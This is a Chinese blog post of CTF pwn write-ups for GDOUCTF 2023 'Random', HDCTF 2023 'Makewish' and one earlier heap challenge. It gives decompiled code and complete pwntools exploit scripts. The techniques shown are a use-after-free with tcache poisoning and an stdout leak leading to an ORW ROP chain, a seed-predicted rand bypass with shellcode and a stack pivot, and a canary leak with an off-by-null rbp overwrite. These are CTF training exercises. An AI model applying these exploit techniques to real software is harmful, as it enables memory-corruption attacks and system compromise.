unsigned int n0x20; // [rsp+Ch] [rbp-4h]

if ( dword_4070 > 0 )
{
puts("ERROR");
_exit(0);
}
output("Please input idx: ");
n0x20 = input();
if ( n0x20 <= 0x20 && len[n0x20] && ptr[n0x20] )
{
free((void *)ptr[n0x20]);
++dword_4070;
return output("DONE!\n");
}
else
{
output("ERROR\n");
return -1;
}
}

有一个只能使用一次的UAF

分析

由于不允许 exceve,所以用 orw。libc基址肯定需要,然后可以在泄漏environ变量来泄露栈地址。

首先利用UAF泄露libc基址,然后利用 stdout 泄露 environ

  • 分配 10 个0x80堆块

  • delete 0-6

  • UAF 8

  • show 8 泄露 libc 基址

  • delete 7,此时 78 合并在 unsortedbin 中

  • add 0x80,使tcache中空出一块

  • delete 8,此时8同时在unsortedbin和tcache中

  • add 两次0x70,第二次就可以往 8 块中写入 tcache 的 fd 了,这里写入 stdout

  • 分配两次 0x80,就可以修改 stdout

  • 然后修改stdout 中的 write_base 和 write_ptr 为p64(environ)+p64(environ+8)就可以泄露其中内容

  • 然后 delete 3 与 2 这个就是刚刚同时处于 unsortedbin 和 tcache 中的块,2可以控制3,然后我们像上面一样 ,将 fd 修改成 stack,就可以分配到栈上的地址,往里面写入 orw ,就可以拿到 flag 了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
context.log_level = 'debug'

#r = process("./pwn1")
r = remote("node4.anna.nssctf.cn", 22956)
elf = ELF("./pwn1")
libc = elf.libc

def debug():
gdb.attach(r)
pause()

sd = lambda s : r.send(s)
sda = lambda s, n : r.sendafter(s, n)
sl = lambda s : r.sendline(s)
sla = lambda s, n : r.sendlineafter(s, n)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
addr = lambda n : u64(r.recv(n).ljust(8, b'\x00'))
addr32 = lambda s : u32(r.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(r.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+"->"+str(hex(n))+"]\033[0m")
irt = lambda : r.interactive()

def add(size,content=b'a'):
sla("Choice: ",str(1))
sla("size: ",str(size))
sla("content: ",content)

def delete(idx):
sla("Choice: ",str(2))
sla("idx: ",str(idx))

def show(idx):
sla("Choice: ",str(3))
sla("idx: ",str(idx))

def UAF(idx):
sla("Choice: ",str(666))
sla("idx: ",str(idx))

for i in range (10):
add(0x80)

for i in range (7):
info("nuber :",i)
delete(i)

UAF(8)
show(8)
ru("\n")
libcbase=addr(6)-0x1ECBE0
system_addr=libcbase+libc.sym['system']
info('System: ',system_addr)
stdout=libcbase+libc.sym['_IO_2_1_stdout_']
environ=libcbase+libc.sym['environ']

delete(7)
add(0x80) # 0
delete(8)
add(0x70) # 1
add(0x70,p64(0)+p64(0x91)+p64(stdout)) # 2
add(0x80) # 3
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)) # 4
ru("\n")
stack=addr(6)-0x120-8
info('stack: ',stack)
delete(3)
delete(2)
add(0x70,p64(0)+p64(0x91)+p64(stack))

rdi=libcbase+0x0000000000023b6a
rsi=libcbase+0x000000000002601f
rdx=libcbase+0x0000000000142c92
open_addr=libcbase+libc.sym['open']
read_addr=libcbase+libc.sym['read']
write_addr=libcbase+libc.sym['write']
puts_addr=libcbase+libc.sym['puts']
flag=stack+0x200
payload=b'./flag\x00\x00'+p64(rdi)+p64(stack)+p64(rsi)+p64(0)+p64(open_addr)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(flag)+p64(rdx)+p64(0x30)+p64(read_addr)
payload+=p64(rdi)+p64(flag)+p64(puts_addr)
add(0x80)
add(0x80,payload)
irt()

[GDOUCTF 2023]Random

基本信息

64位ELF动态链接,什么保护都没开,沙箱不允许 exceve

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [rsp+0h] [rbp-10h] BYREF
int v6; // [rsp+4h] [rbp-Ch]
int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v7 = 100;
sandbox();
v3 = time(0LL);
srand(v3);
for ( i = 0; i < v7; ++i )
{
v6 = rand() % 50;
puts("please input a guess num:");
if ( (unsigned int)__isoc99_scanf("%d", &v5) == -1 )
exit(0);
if ( getchar() != 10 )
exit(1);
if ( v6 == v5 )
{
puts("good guys");
vulnerable();
}
else
{
puts("no,no,no");
}
}
return 0;
}

这里生成了一个以 time(0) 为种子的随机数,可以绕过,然后 vulnerable 里面是栈溢出,可以写 orw,然后利用 rsp 去跳转

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from ctypes import *
libc=CDLL('/home/yyyffff/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
r=remote("node5.anna.nssctf.cn",25170)
context.arch='amd64'
seed=libc.time(0)
libc.srand(seed)
random_num=libc.rand()%50

sd = lambda s : r.send(s)
sda = lambda s, n : r.sendafter(s, n)
sl = lambda s : r.sendline(s)
sla = lambda s, n : r.sendlineafter(s, n)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
addr = lambda n : u64(r.recv(n).ljust(8, b'\x00'))
addr32 = lambda s : u32(r.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(r.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+"->"+str(hex(n))+"]\033[0m")
irt = lambda : r.interactive()

sla("please input a guess num:\n",str(random_num))
rsp=0x000000000040094e
shellcode=asm(shellcraft.cat('flag'))
shellcode=shellcode.ljust(0x28,b'\x00')
shellcode+=p64(rsp)+asm('sub rsp,0x30;jmp rsp')
sla("your door\n",shellcode)
irt()

[HDCTF 2023]Makewish

基本信息

1
2
3
4
5
6
7
8
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/20260308$ checksec pwn1
[*] '/mnt/hgfs/VMware-share/20260308/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// local variable allocation has failed, the output may be wrong!
int __fastcall main(int argc, const char **argv, const char **envp)
{
int buf_; // [rsp+8h] [rbp-38h] BYREF
int buf__1; // [rsp+Ch] [rbp-34h]
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(*(__int64 *)&argc, (__int64)argv, (__int64)envp);
buf__1 = rand() % 1000 + 324;
puts("tell me you name\n");
read(0, buf, 0x30u);
puts("hello,");
puts(buf);
puts("tell me key\n");
read(0, &buf_, 4u);
if ( buf__1 == buf_ )
return vuln();
puts("failed");
return 0;
}

首先输入一个然后将输入的输出,可以用来泄露 canary

然后需要一个随机数的检验才能进入 vuln(),可以用 ctypes

vuln:

1
2
3
4
5
6
7
8
9
10
11
__int64 vuln()
{
_BYTE buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("welcome to HDctf,You can make a wish to me");
buf[(int)read(0, buf, 0x60u)] = 0;
puts("sorry,i can't do that");
return 0;
}

这里 read 有个 off-by-null,就是假设输入两字节数据,会将 buf[2] 设置为0,同时我们发现还有一个后门函数,但是溢出不到返回地址,只能修改 rbp 的低一个字节为 \x00,所以我们可以这样构造:用 ret_addr 作为填充,然后 +p64(backdoor)+p64(canary) ,这样就有概率将rbp修改到我们一连串的 ret 上,从而 ret 到 backdoor。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
context.log_level = 'debug'

r = process("./pwn1")
#r = remote("node4.anna.nssctf.cn", 21645)
elf = ELF("./pwn1")
libc = elf.libc
libcr=CDLL('/lib/x86_64-linux-gnu/libc.so.6')


def debug():
gdb.attach(r)
pause()

sd = lambda s : r.send(s)
sda = lambda s, n : r.sendafter(s, n)
sl = lambda s : r.sendline(s)
sla = lambda s, n : r.sendlineafter(s, n)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
addr = lambda n : u64(r.recv(n).ljust(8, b'\x00'))
addr32 = lambda s : u32(r.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(r.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+"->"+str(hex(n))+"]\033[0m")
irt = lambda : r.interactive()

backdoor=0x0000000004007C7
ret_addr=0x000000000400902

rand_num=libcr.rand()%1000+324
payload=b'a'*0x28
sla("tell me you name\n\n",payload)
ru(b'a'*0x28)
canary=addr(8)-0xa
info("canary",canary)
debug()
sda("tell me key\n\n",p32(rand_num)) # 这里需要注意的是不能用 sendline 而且不能是 p64,因为程序只 read 四个字节,多的会留在缓冲区内从而干扰下一次的输入
payload=p64(ret_addr)*0xa+p64(backdoor)+p64(canary)
print(hex(rand_num))
sda("You can make a wish to me\n",payload)
irt()


一些题目记录
http://yyyffff.github.io/2025/08/02/一些题目记录/
作者
yyyffff
发布于
2025年8月2日
许可协议